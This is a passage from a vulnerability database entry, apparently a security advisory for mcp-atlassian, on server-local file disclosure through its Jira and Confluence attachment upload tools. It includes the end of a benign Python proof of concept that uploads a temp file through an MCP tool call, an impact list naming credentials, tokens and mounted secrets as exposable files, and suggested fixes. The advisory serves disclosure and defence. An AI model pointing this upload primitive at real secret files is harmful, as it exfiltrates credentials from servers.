= Path(tempfile.mkdtemp(prefix=\"mcp-atlassian-proof-\"))\n    proof_file = proof_dir / \"server-local-proof.txt\"\n    proof_file.write_text(\n        \"This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\\n\",\n        encoding=\"utf-8\",\n    )\n\n    async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):\n        async with ClientSession(read_stream, write_stream) as session:\n            await session.initialize()\n            result = await session.call_tool(\n                \"confluence_upload_attachments\",\n                {\n                    \"content_id\": content_id,\n                    \"file_paths\": str(proof_file),\n                    \"comment\": \"Security test: benign server-local upload proof\",\n                    \"minor_edit\": True,\n                },\n            )\n            print(result)\n            print(f\"Uploaded test filename: {proof_file.name}\")\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nRun it with the test page ID:\n\n```bash\nCONFLUENCE_CONTENT_ID=\"\u003ctest-page-content-id\u003e\" python poc.py\n```\n\nObserved result:\n\n1. The MCP client sends a normal `confluence_upload_attachments` tool call.\n2. The MCP server reads the temporary file from its own filesystem.\n3. The MCP server uploads that file as an attachment to the configured Confluence page.\n4. The uploaded attachment appears on the test page.\n\nSecurity significance:\n\n- The MCP caller did not need shell access to the server.\n- The MCP caller did not need direct filesystem access to the server.\n- The MCP caller only needed permission to invoke the upload tool.\n- The file read happened with the privileges of the MCP server process.\n\nThe same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.\n\n## Impact\n\nThis is a server-local file disclosure and exfiltration primitive through attachment upload tools.\n\nImpacted users:\n\n- Users running `mcp-atlassian` with write/upload tools enabled.\n- Operators exposing `mcp-atlassian` through `sse` or `streamable-http`.\n- Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.\n- Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.\n\nPotential attacker:\n\n- A malicious or compromised MCP client with permission to invoke attachment upload tools.\n- A malicious user in a multi-user MCP deployment.\n- An attacker who can supply or influence MCP tool arguments through an integrated workflow.\n\nPotentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:\n\n- application configuration\n- deployment secrets\n- cloud or service credentials mounted into the runtime\n- CI/CD or automation tokens\n- other files available to the MCP server user\n\nThis issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.\n\nIf the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.\n\nSuggested fixes:\n\n- Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.\n- Add an explicit opt-in flag for server-local upload paths.\n- Require an allowlisted upload root and enforce it after realpath resolution.\n- Reject `file://` URLs and remote UNC path forms before any filesystem operation.\n- Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.",
  "id": "GHSA-f6pj-qv47-g96w",
  "modified": "2026-09-22T20:36:29Z",
  "published": "2026-09-22T20:36:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-77247 (GCVE-0-2026-77247)

FKIE_CVE-2026-77247

GHSA-F6PJ-QV47-G96W

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour